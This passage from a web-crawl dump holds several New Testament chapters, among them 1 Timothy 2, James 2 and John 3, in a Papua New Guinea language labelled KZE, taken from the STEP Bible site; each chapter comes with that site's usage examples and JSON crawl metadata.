kíto-sawi-yantaaꞋo mayauwáúnda sáwíyan-aamoi kwéumasinkaiye Ísu Sáímonintavena simásuwena 48 minínínkóntávéna séna ená sáwí-imayaa mayauwáúmne súwasa 49 kwesémo toómbó kwénon-kwaasi keáímbá sésa kwaásiti sáwí-imayaa kwémaitiyuwaiwaima mindá nóran-kwaasiyaꞋiyo suwaná 50 Ísu minínínkóntávéna séna kentáváí áraire sénaꞋa ená sáwí-imayaa mayauwéꞋa kaweꞋá umánkaumpo aánoumai paru umái kwaaó Ísu siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Luk.7","date":"2018-04-27T01:08:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948738.65\/warc\/CC-MAIN-20180427002118-20180427022118-00038.warc.gz","language":"kze","language_score":0.9999960661,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999960660934448}","num_words":888,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.13,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Timothy 2\nÁánútumpaꞋa námúnaa sen-kwásáí.1 maarán-áímbá simátimiyo séꞋa kwésimamune. ÁánútumpaꞋo námúnaamo kwésemba anón-tantaaꞋan-iye. mindáyavesa námúnaamo kwésemba Áánútu amápa-kwaasi túwaꞋnaa ínkwáe sésa kwéaisaa-esa súwi kwésewe. 2 Áánútu anón-kwaasiye kenkáꞋá kárákwiraan-kwaasiye túwaꞋnaa ínasa námúnaa síyamba paru umáíya moórávinta méta Áánútuntaveta imáyáa éta arupí umáíya ménaumne. 3 mirán-dámúnáámó sembá Áánútu aúrankaꞋa kaweꞋá umái sewaná póna aamoí éna kwemá sáwí-imayaavinkembo iyásínkáiwaiya póna aamoí kwéiye. 4 Áánútu amáparawai sáwí-imayaavinkemba iyátinkainasa kwená árair-aimba isánááontavena arááíma kwétaiye. miráyávésamo amápa-kwaasiyavesamo imáyáa ésamo ÁánútumpaꞋo námúnaamo kwésemba kaweꞋán-iye. 5 Áánútu mimbóráwáí máyáísana Áánútuwe kwená kwaásiyeti avumpimbó máyáimba mimbóráwáí ména minkwáásígó áwíꞋa Ísu Káráísiti ména kwaási Áánútunte kwétarutinkena 6 amáparawai sáwí-imayaavinkemba iyátinkanaumne séna taairaꞋá pukáiye. Áánútu amáparawai kentí sáwí-imayaavinkemba iyátinkanaumne séna mirán-kánáá tíníye siráimba póna Ísu Káráísitimba aiꞋmarówana kumpukáiye. 7 miráumai Áánútu simásimena séna aantá-kwaasi-iꞋa éma óꞋonkaa-kwaasi simátímaꞋmae naauwó séna siꞋmarówaꞋa kwená árair-aintavesa áraire sénááontaveꞋa simátímaꞋmaeꞋa kwéiyune. mináímbó súnda íma kampar-áímbá kwésumpo árair-aimba kwésune.\n8 naaóꞋ-naoken-kwaasi tayorupamái mésa Áánútuntavesa imáyáa ésa íma áwááꞋa sésa íma aaisambá sésa námúnaa sénááontaveꞋa mirán-oro kwésune. 9 tayorupamái mésamo Áánútuna imáyáamo mósá maránááomba aaraimá maarámó iíyávéna sirááíma kwétaiye. íma túma maé iyésa kaweꞋá umái unáánkwátói ésa kwaási arááꞋa súrampimba sivúwóvo sésa íma konaarirí ésa 10 íma mirá-sáwíꞋá ésa kaweꞋ-máyáíyé suꞋmai máéwasa tuwánanaaowe. aaraimó kesáváímó sésamo ÁánútuntaveꞋa imáyáa kwéune sen-ínímbó kaweꞋ-máyáímó kwémayaantemba mirán-oro. 11 aaraí íma túma maé iyésa aánoumai mésa Áánútun-aaimo kwésen-kwaasi táái isánááowe. 12 aaraimá íma kwaairáꞋá kárákwiraawai mésa kwaai túrankaꞋa íma komésa aaí kwésimatimesa aánoumai máyáawe kwésune. 13 naaóváꞋá Áánútu Áándamumba aivaꞋá úmarena naaémba awainínkómbá Ívimba úmakaintaveꞋa mináímbá kwésune. 14 Sáátáánigo íma Áándamuntavena siráivo Ívintavena kampar-áímbá simámuwana áraire séna aivaꞋá Áánútun-aai káráyukaiye. 15 ánivo aaraimá iyámpóímo matínkáiyambo éna sáwíꞋa umái mémpinkemba Áánútu tiráníye. aaraimó ÁánútunkaꞋo agevamáímo mésamo kwená imáyáamo ésamo arupí umáímo aánoumaimo maíꞋmaiꞋo úmae iyésamo mirámó íyanamo éna Áánútu sáwíꞋa umái mémpinkemba tiráníye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nESVthroneDavidIsa-Rev\nKJVWHNUJohn 1\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=1Ti.2","date":"2018-04-24T02:45:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946453.89\/warc\/CC-MAIN-20180424022317-20180424042317-00581.warc.gz","language":"kze","language_score":0.9999989271,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.999998927116394}","num_words":351,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.168,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Corinthians 8\npóímo tuvúꞋmái kampar-ísóígómbá ámén-kwasai.1 agaimái sísaa eꞋa séꞋa póímo kwétuvuꞋnesamo évakar-amaꞋo kárámaimo kwaántái-taareiraꞋo marésamo évakaꞋo máákétiraꞋo kwémaraamba minámáꞋá meéyámbaꞋmaimo nánaundaya kanaawáꞋiyo-aimbo sísaa eꞋo sen-áímbá simátíménda ísáaro. mirám-baarawaina ááimba awánasaraundaya póta miráyá ónáe-aimba ááéma íma seró. mirámó kwéombo éꞋa kentúma maé kwéiyovo kwaásimo tirumbó tímémbo kwétuwaꞋnaa-omba mindá kaweꞋán-iye. 2 évakarawaimo moórá-yantaatavesa imáyáa ésa sésa áꞋa awánasaraumnemo kwésiyawai íma kanaán-umai awánasaraavo 3 Áánútumbo tirumbó áméwanamo imbá Áánútu miwí tuwánasaraiye.\n4 mináímbá imáyáa éꞋa kéꞋnaan-aimba póímo kwétuvuꞋnesamo évakar-amaꞋo kárámaimo kwaántái-taareiraꞋo marésamo évakaꞋo máákétiraꞋo kwémaraamba minámáꞋá meéyámbaꞋmaimo nánááon-aimbo sendá ísáaro. kwaántá-kwaasi íma asirayánkwárá-kwáásín-ovo mimbóráwáí asirayánkwáráwáí Áánútuma iyé-áíntá ísaraumne. 5 kwíyómpare marapáré sáwíva-tantaaꞋa kwáyáísasa évakarawai sésa kentáásí asirayánkwáráwáí ména kenkáꞋá kárákwiraiye sewaná mirámó kwésen-tantaaꞋa sáwívaꞋa kwáyáivo 6 kesáá mimbóráwáíntávéta séta kentáásí Áánútu éna kentáásivowama iyéyá kwésune. amápa-tantaaꞋa úmakaimba póta kwenáwíꞋa mósá maréta kwená kwaási-iꞋa úndayaveta máyaumne. mimbórá-Ísóígómá máyáimba Ísu Káráísitima póna Áánútumo siráintemba amápa-tantaaꞋa uráimba kwená asirayánkátá máyaumne. miráumai kwaántá-kwaasi íma asirayánkwárá-kwáásí owé-áímbá ísaraumne.\n7 mináíntá ísaraumpo amáparawai íma ísaraawe. évakarawai póí tuvúꞋmái kwénesa kwaántá-kwaasiyavesa imáyáa ésa timémáembanivo ÁánútunopaꞋo tiráankaꞋa ááéraan-imayaa ésa kwaántá-kwaasi tímém-poiman-iye sésa mimpóí kwénaamba tirumpin-ímáyááómó sáwíꞋa kwéowemo kwésiniꞋa kwéesa sésa mimpóímá ímo naaráámbá kwénaumne kwésewe. 8 mintómbó ímo néta nétaamo kwéundaya Áánútu íma imáyáa éna náúndayavenaya aamoí umásinkenaya ímo náúndayavenaya aamoí umásinkenaya íma mirá kwéiye. 9 kwaántá-kwaasi tímém-poimo néꞋo ímo néꞋo kwéomba mindá kanaán-ivo Áánútuntavesamo ímo asiramáímo máyáawai tuwánésa keinárawaꞋo ontembá mirá ésa miwí tirumpin-ímáyááómó sáwíꞋa kwéowemo kwésiniꞋa mirá ovó séꞋa kárákwiyoro. 10 keinárawaꞋa séꞋa kwaántá-kwaasi íma asirayánkwáráwáí ombá póꞋa tímém-poimo úwoimo kwénaunda kanaán-iye sen-kwáásí kwaántá-kwaasiti monoꞋ-náúmpáꞋó toómbó kwénaambo ésa Áánútuntavesamo ímo asiramáímo kwéowai tuwánésa sésa keséya mintómbá nánaumnemo kwésesamo kwénaamba tirumpinkén-ímáyááómó sáwíꞋa kwéowemo kwésiniꞋa kwéowe. 11 miráumai mintómbá kwénaunda kanaán-iye kwésemba mindá Áánútuntavesamo ímo asiramáímo máyáawai sáwíꞋa umátínkáawe. Ísu Káráísiti miwíyáváíyé séna pukáiwai kentíváꞋawaawi sáwíꞋa umátínkáawasa sáwí-amba kwégwaraawe. 12 kentíváꞋawaawi sáwíꞋa umátinkeꞋa miwímó ímo asiramáímo máyáan-imayaa sáwíꞋa umátínkáamba Káráísitimba sáwíꞋa kwéumankaawe. 13 kemá Póro séꞋa kwaántá-kwaasi tímém-poimo naanasá kesívárawaisai suwánésa sáwí-amba kwáráavo séꞋo amaꞋó ímo naanasá suwánésa misáwí-ámbá íma kwaránááowe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=1Cor.8","date":"2018-04-24T18:32:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947033.92\/warc\/CC-MAIN-20180424174351-20180424194351-00516.warc.gz","language":"kze","language_score":0.9999601841,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.99996018409729}","num_words":471,"character_repetition_ratio":0.059,"word_repetition_ratio":0.009,"special_characters_ratio":0.157,"stopwords_ratio":0.102,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"James 2\namáparawai mimbórá-ímáyáán-oro-kwasai.1 kesí kwaásiyono. Ísóigo Ísu Káráísti óꞋoran-aaimba kwáyáiwain-aaiyaveꞋa áraire séꞋa kwenkáꞋá agevamái máyáavo túwíꞋo kwáyainda-kwaasi kaweꞋá umátinkeꞋa túwíꞋo ímo kwáyainda-kwaasi tínaaemba umátímémba mindá sáwíꞋa kwéovo 2 kárákwiyoro. torupamáímo máyáampimbo moóráwaimo óísankwara-kwaasi éna kawer-únánkwátói úmae tisanamó óísaniyaain-kwaasi éna sáwí-unankwatoi úmae tisaꞋó kawer-únánkwátóigwarawaintaveꞋa suwókáꞋá tamaiyó séꞋo sáwí-unankwatoigwarawaintaveꞋo nénkaꞋa maiyómó kwésemba mindá sáwíꞋa kwéowe. 4 mirámó sembá keinárawapinkemba évakarawai túma maimaé iyéꞋa évakarawai simái sáwíꞋa éꞋa sáwí-imayaanei taaínkaaꞋa kwéowe.\n5 kesí kwaási kentí imáyáa kwéunda-kwaasi ísáaro. marapáꞋá máyáan-kwaasi óísaniyaain-kwaasi tuwánésa sésa úwoi-kwaasiman-owe kwésevo Áánútu óísaniyaain-kwaasi kwesé aráápamai asiramái máyáan-kwaasi tuwánéna séna kesí kwaásiman-owe kwésiye. ááéma Áánútu séna tirumbá kwésimen-kwaasi kwégawaa úndavaꞋa ménaaowe siráimba 6 óísaniyaain-kwaasiyavena mirá siráimba póꞋa móruna tiyúwáavo. óísankwara-kwaasi túma íma maimaé íyóro. óísankwara-kwaasi keinárawaꞋa sáwíꞋa umátinkesa aaimá kwésimatinkesa 7 Ísu Káráísiti áwíꞋa usáyaaitarain-awiꞋa kentí anóndako áwíꞋa simái sáwíꞋa kwéumankaamba póꞋa miwí túma maimaé íyóvo.\n8 Áánútun-aai aúváívimba agaimaréna séna\n- esáváí-ímáyáámó óndantemba\n- óꞋowiti imáyáagwaraꞋa uwó\n12 Áánútun-aai kasenku-áínkó póna mináínkó sáwí-imayaagomo tátokaimpinkemba iyátinkaniye. Áánútu kwenáái kwáráawaiye arááíséwaiye tuwánéna tísaa ínímba póꞋa imáyáa éꞋa kentóikare kentúrare kárákwiyoro. 13 Áánútu aaivimbá maitinkáíndaraꞋa tirumbó ímo umátínkaraawai Áánútu kwenarunkwáráꞋá íma umátinkaniye. Áánútu aaivimbá matinkáíndaraꞋa tirumbó umátínkaraawai íma tááꞋa kwégainana Áánútu aruntaváí umátinkaniye.\nÍsun-aaiyavesa áraire sésa kaweꞋ-máyáí mayáan-kwasai.14 kesí kwaásiyono. Ísu Káráísitin-aaiyavesa áraire kwésesamo ímo kaweꞋ-máyáímó kwémaesamo ésa miwí táái úwoi tóikaken-aimba kwésewe. mináímbá tóikakene suꞋmai kwésemba póna Áánútu íma kawer-ámpáꞋá métinkaniye. 15 Áánútuna kwaásivinkembo moóráwaimo ménamo unáánkwátóiye toóné ímo makáindawaintaveꞋo 16 keinárawaꞋo séꞋo toómbá nenaná ámúꞋa váínama unáánkwátói aneꞋá márénana kokoꞋá ínama kwaaó séꞋo toómbó unáánkwátóimo ímo améꞋo éꞋa kentáái úwoi tóikaken-aimba sénááowe. 17 mindáyaveꞋa Ísu Káráísitin-aaiyaveꞋa áraire kwéseꞋanivo ímo kaweꞋ-máyáímó kwémayaambo éꞋa áraire sen-áímbá tóikakene suꞋmai kwésevo tirunkakémbá íma kwésewe.\n18 évakarawaimo sésamo Áánútun-aaiyaveꞋa áraire kwésunda póꞋa Áánútuna kwaási únemo kwésewasamo évakarawaimo sésamo kaweꞋ-máyáí kwémayaunda póꞋa Áánútuna kwaási únemo kwésemba kemá Yémési séꞋa Áánútun-aaiyaveꞋa áraire sembánivo kaweꞋ-máyáí íma kwémayaamba póꞋa Áánútuna kwaásiyaꞋo íma tuwánáúmne. kemá kaweꞋ-máyáí kwémayaunda suwánéꞋa séꞋa Áánútun-aaiyavai áraire kwésene sénááowe kemá Yémési súne. 19 Áánútu kímborawai máyáiye kwéseꞋo árairemo kwésemba kawer-áímbá kwésembanivo miráwé suꞋmai kwésemba Áánútu kawer-ámpáꞋá íma métinkaniye. Sáátáánigona kwayóꞋnárawaꞋo mináímbó kwésemba tiyántámbá kwétaisasa kwésemba póna Áánútu íma kawer-ámpáꞋá métinkaniye. 20 íma kawer-ímáyáágwárá-kwáásín-owe. Ísun-aaiyaveꞋa áraire kwéseꞋo kwéomba íma kaweꞋ-máyáí kwémayaamba úwoima aaimá kwésemba póꞋa simáímo agaráátinkaanda ísáaro. 21 naaóváꞋá kentáá síkwáꞋnáma Ááváramu Áánútu simámakainiꞋa índayavena ááninko áwíꞋa Áísákaamba óntan-taareiraꞋa mósá ánkarena tuvuwíníye úwana Áánútu séna aꞋáo siráiye. Ááváramu mirá uráintavena Áánútu séna arupí umái máyáane siráiye. 22 Ááváramu Áánútun-aaiyavena áraire kwésena íma miráwé suꞋmai uráivo simámakaintemba uráimba Áánútun-aaiyavena asiramái áraire siráimba áꞋa ísaraawe. 23 Áánútun-aai aúváívimba agaimaréna séna Ááváramu Áánútun-aaiyavena áraire siróntavena Áánútu séna arupí umái máyaanemo siráimba mináínkóná ááimba Ááváramu Áísákaamba tuvuwíndavena uráinkaꞋa avoraꞋá paáruraiye. naaémba Ááváramuntavesa sésa Áánútuna kwaásiman-iye siráawe. 24 Áánútun-aaiyavesa áraire sésa kaweꞋ-máyáí kwémayaawaiyavena Áánútu séna arupí umái máyáawe kwésivo Áánútun-aaiyavesa áraire sésa íma kaweꞋ-máyáí kwémayaiyawaiyavena Áánútu séna arupí umái máyáawe íma síníye. mináímbá ívéꞋa kwéisaawe.\n25 Áánútun-aai aúváívimba naaóváꞋá agaimaréna moórá-ininko eénánkáꞋá nááún-ininko áwíꞋa ÁréꞋapi óꞋonkaa-ininkona kwaasái siráiye. Yósúwa maramá aúpáꞋá koawánaakaiyo séna tiꞋmarówasarai minínínkóná naaúmpaꞋa tuyaná mindárai táái iséna áraire séna kwenamááraa tínkamovo séna moórá-ampaꞋa agaráátinkowasarai kóuraaiye. minínínkó mirá uráintavena Áánútu séna arupí umái máyáin-inimban-iye siráiye. 26 timambá kówisasamo kwaásimo púwóntemba Áánútun-aaiyavesa áraire sésa íma kaweꞋ-máyáí kwémayaawai miráráán-umai íma tirunkakémbá áraire kwésevo tóikakemba kwésewe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Jam.2","date":"2018-04-21T00:18:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125944848.33\/warc\/CC-MAIN-20180420233255-20180421013255-00053.warc.gz","language":"kze","language_score":1.0000025034,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000025033950806}","num_words":665,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.179,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"John 3\nNíkótimasima Ísumba áísaa uráin-kwasai.1 moóráwai ámáán-kawaa-kwaasi Yútaa-kwaasiti kawáánáꞋá áwíꞋa Níkótimasi 2 kwemá moórá-noꞋwaamba ÍsunopaꞋa téna séna anóndakoo Áánútun-aai simásiminiyondayavena embá aiꞋmáráísama tamáyaanata awánaraumne. Áánútumo embó asirayámbó ímo ámakainkakai óꞋon-oꞋon-kaweꞋ-mayai íma kanaán-umai mayáásino súwana 3 Ísu séna áraiꞋa simámeꞋa séꞋa ímo ókwaraꞋo aúnáraan-umai matinkáiyawaimo ésa Áánútumo kawááipaꞋa íma ménaaowe súwana 4 Níkótimasi séna anón-umáguraavo nóraumai aúnáiꞋa ónááoo séna tinóisai tirumpimbá íma óꞋa komáíyasa matinkánááowe súwana 5 Ísu séna áraiꞋa simámeꞋa séꞋa kwaásimo matínkáamba mindá kwaásiman-ovo Áánútun-amankomo umátínkáimba mindá Áánútun-amankogwaraꞋa aúnáiꞋa kwéowe. ímo nonkwárá Áánútun-amankogwaraꞋo aúnáraaniꞋo umáímo ménaaoniꞋa umátínkáawai Áánútumo kawááipaꞋa íma ménaaowe. 7 ókwaraꞋa aúnáraan-umai matinkáníyemo súnda-aintavena íma ááꞋa kaíno. 8 maarán-áímbá imáyáa uwó. úndáoma kwená imáyáavinkemba kwénaaisasa aneꞋá íma kwéawanesa sésa náávakena náávara kwénaaiyo kwésewe. mirámó intembá Áánútun-amankoma miráráán-umai kwaási kwéumatinkaiye súwana 9 Níkótimasi séna nóra ena mirá íníyo súwana 10 Ísu séna Ísareri-kwaasivimba aaí kwésimatimendawai óndanivo mináímbá íma isááne. 11 áraiꞋa simámeꞋa séꞋa kesáá awáraunda-yantaa ísaraunda-yantaataveta kwésimatimunda isaꞋá íma kwéisaawe. 12 mirá kwéon-tantaa marapáꞋó kwéon-tantaataveꞋo kwésimamunda íma áraire séndanivo kwíyómpa-tantaataveꞋo simáméndamo e nóra e áraire síníyono. 13 íma kwíyómpaꞋa irésa kunkáavo keyáá kwíyómpakemba kunkéꞋa kumpaáruraundawai kwíyómpa-tantaaꞋa kanaán-umai agaráátinkaumne. 14 naaóváꞋá Mósesi óntandei iraankavayaambá tarórumai taairaꞋó mósá marówasa puwónáesamo un-kwáásí awánésa íma pukáawe. mirámó uráintemba kembá kwaási úrandaꞋa kumpaáruraundawaimba sínkambai taairaꞋá mósá maránááomba pósa 15 kesááiyavesamo árairemo síyawaimo ésa aúnáiꞋa umái aasiyaasí maíꞋmaiꞋa ónááowe Ísu siráiye.\n16 Áánútu marapáꞋá máyáan-kwaasiyavena ávááraumai aruntávéna éna póna kwenáánimba kímborawaimba aiꞋmarówana kunkáimba pósa kwenááiyavesamo áraire síyawaima kwaási máyáawaina ááimba Áánútuna némpaꞋa íma maíꞋmaiꞋa ónááovo kwená egwaaꞋá aúnáiꞋa umái maíꞋmaiꞋa ónááowe. 17 marapá-kwáásí aavimbá maitinkaaó séna Áánútu ááninkomba íma aiꞋmarówana kunkáivo marapá-kwáásí sáwí-imayaavimba máyáawima kuntíꞋmai kawer-ámpáꞋá métinkaao séna Áánútu ááninkomba aiꞋmarówana kunkáiye. 18 Áánútu ááninkon-aaiyavesa áraire kwésewai íma aaivimbá maitinkánívo ímo árairemo kwésewaima áꞋa aaivimbá maitínkaraiye. Áánútu kímbora-aaninkon-aaiyavesa árairemo ímo kwésentavena áꞋa aaivimbá maitínkaraiye. 19 sámo kamátinkaiwaima marapáꞋá kunkáimbanivo kwaási sáwíꞋa kwéesa pósa túnín-ayampatavesa imáyáama ésa sámo kamátinkaiwainopaꞋo ímo tentávéna aaivimbá kwémaitinkaiye. 20 sáwíꞋo kwéowai sámo kamátinkaiwaintavesa íma kwétinkaisasa kesí mayáímá paárivo sésa íma sámo kamátinkaiwainopaꞋa tagwémaewe. sáwíꞋo kwéowai mirá kwéovo 21 arupímo kwéowai sámo kamátinkaiwainopaꞋa tamáyáamba pósa Áánútu siráiniꞋo kwéomba kwétuwanaawe.\nÍsuna kwaasái Yóni simátímakain-kwasai.22 minkákémbá Yútiyaa-ayampaꞋa Ísuwe kwená kwayó-kwáásíyé komésa nombá kwévetinkowana 23 minkánáávímbá Yóni íma ándávaꞋa máankaronkaꞋa Ínóni-ayampaꞋa Sérími-naokona egwaaꞋ-nónayumpaꞋa Yóni ména sáwívaꞋ-nomba kwáyopaꞋa máyowasa kwaásiyomba tóyo uwaná Yóni nombá kwévetinkowasa 25 Yónina kwayó-kwáásíyónté moórá Yútaa-kwaasigoe mésa monoꞋ-nómbó pétinkon-aintavesa kwesimá kwesiman-esa 26 Yónina kwayó-kwáásíyómbá kwenópaꞋa tasimámesa sésa anóndakoo Yóntáni-nonkona menávápáꞋá esé méraiwaimba kwenáwíꞋa mósá makáawaima kwemá nombá kwévetinkaisasa sáwíva-kwaasi kwétoyo owe suwaná 27 Yóni séna Áánútumo tímísasamo ombá mindá miwínéímán-iye. 28 kemó siráunda Áánútumo usásinankaiwaima íma kemá úmpo siꞋmarówaꞋa kwená aivaꞋá tiráumne siráunda-aimba ísaraawe. 29 maarán-áímbá imáyáa oró. aúná-ininkomo awaikónópaꞋo tisanamá awaikó amááraanarawaꞋo aamoimó onten-umái ÍsunopaꞋa tewaꞋá aamoí kwéune. 30 kwemá anón-kwaasi imbá póna kwenáwíꞋa iyínívo kemá kíto-kwaasima únda póna kesúwíꞋa kumíníye Yóni siráiye.\n31 kwíyómpakewaima amáparawai usáyaaitaraiye. maankákén-kwáásí marapá-kwáásí pósa marapáꞋó kwéon-tantaatavesa kwésevo kwíyómpaken-kwaasi usáyaaitarain-kwaasi póna 32 awánarain-tantaa ísarain-tantaatavena kwésisasa íma kwéisaambanivo 33 kwenááiyavesa áraire kwésewai sésa Áánútu árair-ainkona ááimban-iye sisasá tuwánésa sésa Áánútu árair-ainkona ááimban-iye kwésewe. 34 Áánútu aiꞋmákaiwaimba kwenamankómbá ámatukaimba póna Áánútun-aai kwésisasa mináíntávésamo árairemo kwésewai sésa Áánútu árair-ainkona ááimban-iye kwésewe. 35 Áánútu avowámá éna ááninkomba arumbá aména séna amápa-tantaaꞋa kawááumai taviyiyó siráiye. 36 ááninkon-aaiyavesamo árairemo sésamo kwesé aráápamai maíyawai aúnáiꞋa umái maíꞋmaiꞋa ónááovo kwenááimo ímo ísámaimo kaweꞋó kwéiyawai íma aúnáiꞋa umái méwana Áánútumo áwááꞋo tíyímba miwísé aasiyaasí kwaíkwaiꞋa isasá kwémaewe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Joh.3","date":"2018-04-26T17:31:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948426.82\/warc\/CC-MAIN-20180426164149-20180426184149-00163.warc.gz","language":"kze","language_score":1.0000030994,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000030994415283}","num_words":674,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.157,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Corinthians 10\nkwaántá-kwaasiti imáyáa íma mósá máráaro siráin-kwasai.1 kesí kwaásiyono. maarán-áímbá imáyáa oro. naaóváꞋá Yútaa-kwaasiya síkwáꞋnáya Ísípi-maravaꞋa ándávakemba Áánútu ayútinkowasa miwí túraꞋa íma kárákwiyesa sáwíꞋa uráamba imáyáa oro. Áánútu ayútinkowasa Ísípi-maravaꞋa tuwésa kwéguwana aambá agaráátinkena ainámbá amáparawai túrampaꞋa makówasa mináínánkó kún-ayampaꞋa kwéguwana Áánútu anón-domba tuwínkaaꞋa úmarowasa amáparawai mimpímbá kóaatesa kavóná-maravaꞋa kwégwesa 2 miwítí anóndako Mósesiye tarúmai máyówana Mósesi mináínámbá kwaꞋmaéna kwéguwasa kentáá síkwáꞋnáma mirá kwéuwana Áánútu nombá tuwínkaaꞋa úmarowana mimpímbá Mósesi kóaatowasa miwígwáráꞋá mimpímbá kóaatesa 3 noné toóné íma kwáyopaꞋa kwéguwana Áánútu toóné noné timúwasa amáparawai kwénowana Áánútu óntan-ayau tinkówana minóntámpínkémbá nombá kumúwasa kwénesa kwénaauwana minóntámbá miwítí egwaaꞋá kwáyowasa naráawe. minóntántávéta séta Ísu Káráísitiman-iye kwésune. 5 kavóná-maravaꞋa kweéme kweémesa Áánútun-aaimo kwárááraamba sáwívarawai íma kwarésa sáwíꞋa uwaná mindáyavena Áánútu íma aamoí umátinkena kavóná-maravaꞋa tínkámaena kwénaauwasa pukáawe.\n6 sáwí-imayaawe suꞋmai ésa sáwíꞋo kwéuntavesa aamoí uráavo kesáá miráyá únavo séta miwímó uráantaveta imáyáa éta kentáásúraꞋa kárákwiyono. 7 miwívínkémbá évakarawai 